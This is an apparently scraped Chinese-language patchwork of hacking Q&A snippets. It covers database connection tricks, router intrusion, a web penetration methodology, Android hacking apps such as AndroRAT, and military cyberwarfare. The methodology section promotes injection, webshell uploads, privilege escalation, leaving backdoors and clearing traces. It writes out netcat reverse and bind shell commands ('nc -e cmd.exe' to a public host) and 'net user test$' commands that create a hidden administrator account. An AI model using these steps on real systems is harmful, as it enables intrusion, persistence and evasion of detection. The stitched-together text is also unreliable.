黑客渗透成功率（被黑客入侵的现象）

如何进行渗透测试才有可能登录到数据库服务器的远程终端

新建一个文本文件，更改扩展名为aabb.udl双击此文件，选数据库类型、设置ip、用户名、密码，数据库可进行连接测试 ，当然对方要开sql服务的测试成功后，点确定将这个文件以文本方式打开， 里面有连接字符串，装sql 查询分析器。

如何攻击路由器内网侵入别人的电脑进行控制

想通过路由器入侵到别人电脑进行控制，成功率几乎为0

1、你得知道对方路由器的用户和密码。

2、现在的路由器除非自己设置，否则是不支持外网访问管理的。

3、就算前两步你搞定了，进了路由器你得进行端口映射，指向你要入侵的那台机器，这时你就得知道局域网中那台机器的IP地址，而路由器上一般不显示客户端的IP地址。

4、就算IP地址被你碰对了，你做了映射，对方是XP电脑，默认情况下是不允许远程访问的，也不允许空密码访问。

5、万一对方是个白痴，开了远程访问，但是可能是空密码，而XP下的远程访问是不允许空密码的。

6、如果对方设置了密码，那么你就开始扫描密码吧，可能是几个小时，可能是几天，在这个时间内，只要别人把路由器关闭重启，IP地址就会变化，你又得从头来一次了。

web渗透是什么？

Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透，以下所说的Web渗透就是黑盒渗透。

Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。一般的渗透思路就是看是否有注入漏洞，然后注入得到后台管理员账号密码，登录后台，上传小马，再通过小马上传大马，提权，内网转发，进行内网渗透，扫描内网c段存活主机及开放端口，看其主机有无可利用漏洞（nessus）端口（nmap）对应服务及可能存在的漏洞，对其利用（msf）拿下内网，留下后门，清理痕迹。或者看是否有上传文件的地方，上传一句话木马，再用菜刀链接，拿到数据库并可执行cmd命令，可继续上大马.........思路很多，很多时候成不成功可能就是一个思路的问题，技术可以不高，思路一定得骚。

信息收集

信息收集是整个流程的重中之重，前期信息收集的越多，Web渗透的成功率就越高。

DNS域名信息：通过url获取其真实ip,子域名(Layer子域名爆破机)，旁站(K8旁站，御剑1.5)，c段，网站负责人及其信息（whois查询）

整站信息：服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型；

网站常见搭配为：

ASP和ASPX：ACCESS、SQLServer

PHP：MySQL、PostgreSQL

JSP：Oracle、MySQL

敏感目录信息（御剑，dirbust）

开放端口信息（nmp）

漏洞扫描

利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描，看其是否有可利用漏洞。

常见漏洞：

SQL注入

XSS跨站脚本

CSRF跨站请求伪造

XXE(XML外部实体注入)漏洞

SSRF(服务端请求伪造)漏洞

文件包含漏洞

文件上传漏洞

文件解析漏洞

远程代码执行漏洞

CORS跨域资源共享漏洞

越权访问漏洞

目录遍历漏洞和任意文件读取/下载漏洞

漏洞利用

用工具也好什么也好对相应漏洞进行利用

如：

Sql注入（sqlmap）

XSS（BEEF）

后台密码爆破（burp）

端口爆破（hydra）

提权

获得shell之后我们权限可能很低，因此要对自己提权，可以根据服务器版本对应的exp进行提权，对于Windows系统也可看其补丁对应漏洞的exp进行提权

内网渗透

首先进行端口转发可用nc

nc使用方法：

反向连接

在公网主机上进行监听：

nc-lvp 4444

在内网主机上执行：

nc-e cmd.exe 公网主机ip4444

成功之后即可得到一个内网主机shell

正向连接

远程主机上执行：

nc-l -p 4444 -t -e cmd.exe

本地主机上执行：

nc-vv 远程主机ip4444

成功后，本地主机即可远程主机的一个shell

然后就是对内网进行渗透了，可以用主机漏洞扫描工具（nessus,x-scan等）进行扫描看是否有可用漏洞，可用msf进行利用，或者用nmap扫描存活主机及开放端口，可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门

留后门

对于网站上传一句话木马，留下后门

对于windows用户可用hideadmin创建一个超级隐藏账户

手工：

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

这样的话在cmd命令中看不到，但在控制面板可以看到，还需要改注册表才能实现控制版面也看不到，太过麻烦，不多赘述，所以还是用工具省心省力。

HACK黑客常用哪些工具

AndroRAT

AndroRAT一词源自Android与RAT（即远程管理工具）。这款顶级黑客工具已经拥有相当长的发展历史，而且最初其实是一款客户端/服务器应用。这款应用旨在帮助用户以远程方式控制Android系统，同时从其中提取信息。这款Android应用会在系统启动完成后以服务形式开始运行。因此，如果用户并不需要与该服务进行交互。此应用还允许大家通过呼叫或者短信等方式触发服务器连接。

这款极具实用性的Android黑客应用之功能包括收集联系人、通话记录、消息以及所在位置等信息。此应用还允许大家以远程方式对接收到的消息以及手机运行状态加以监控，进行手机呼叫与短信发送，通过摄像头拍摄照片以及在默认浏览器当中打开URL等等。

Hackode

Hackode是一款Android应用，其基本上属于一整套工具组合，主要面向高阶黑客、IT专家以及渗透测试人员。在这款应用当中，我们可以找到三款模块——Reconnaissance、Scanning以及Security Feed。

通过这款应用，大家可以实现谷歌攻击、SQL注入、MySQL Server、Whois、Scanning、DNS查找、IP、MX记录、DNS Dif、Security RSS Feed以及漏洞利用等功能。这是一款出色的Android黑客应用，非常适合入门者作为起步工具且无需提供任何个人隐私信息。

zANTI

zANTI是一款来自Zimperium的知名Android黑客套件。此软件套件当中包含多种工具，且广泛适用于各类渗透测试场景。这套移动渗透测试工具包允许安全研究人员轻松对网络环境加以扫描。此工具包还允许IT管理员模拟出一套先进黑客环境，并以此为基础检测多项恶意技术方案。

大家可以将zANTI视为一款能够将Backtrack强大力量引入自己Android设备的应用。只要登录至zANTI，它就会映射整套网络并嗅探其中的cookie以掌握此前曾经访问过的各个网站——这要归功于设备当中的ARP缓存。

应用当中的多种模块包括网络映射、端口发现、嗅探、数据包篡改、DoS以及MITM等等。

各种网络攻击对军事指挥系统影响有多大

这种“战场网络战“战斗在看不见的网络系统内，“网军“凭借有力的“武器“和高超技术，侵入敌方指挥网络系统，随意浏览、窃取、删改有关数据或输入假命令、假情报，破坏敌人整个作战自动化指挥系统，使其做出错误的决策；通过无线注入、预先设伏、有线网络传播等途径实施计算机网络病毒战，瘫痪对方网络；运用各种手段施放电脑病毒直接攻击，摧毁敌方技术武器系统；同时运用病毒和“黑客“攻击敌国的金融、交通、电力、航空、广播电视、政府等网络系统，搞乱敌国政治、经济和社会生活，造成社会动荡。

就有防。中国军内有关人士认为，对计算机病毒的防御，应贯彻预防为主的方针，要想方设法增强计算机的抗病毒能力。但是，在现有计算机网络状态下，染上病毒和受病毒攻击很难完全避免。一旦染上，就要迅速对症下药，清除病毒，并把事先已经划分为若干个封闭“隔离箱“的整个军事计算机系统立即分块隔离，避免整个系统都染上病毒。其他防御手段还包括：通过对计算机加密防止敌方（或黑客）进行计算机渗透来窃取计算机情报，对核心系统和重要用户的密钥和口令，要严格控制知晓范围，严守机密，使“黑客：无计可施；通过加强管理、监督、检测、维护等各种技术手段，对敌方实施电磁欺骗和干扰，减少电磁信号，也可利用一定功率的干扰释放假信号，扰乱敌方的微波探测，诱惑其上当，或直接干扰敌探测设备的正常工作，以达到屏蔽己方信息源，保护系统正常工作的目的，等等。只要加强网络防御，积极采取有效防护手段，计算机网络安全性就会提高。据美军统计，在没有采取防御措施前，闯入信息系统的成功率为46，使用监控等防护手段后，闯入成功率下降到近12，完全成功的只有2，而且到现在为止，还没有完成侵入美军核心网的成功先例。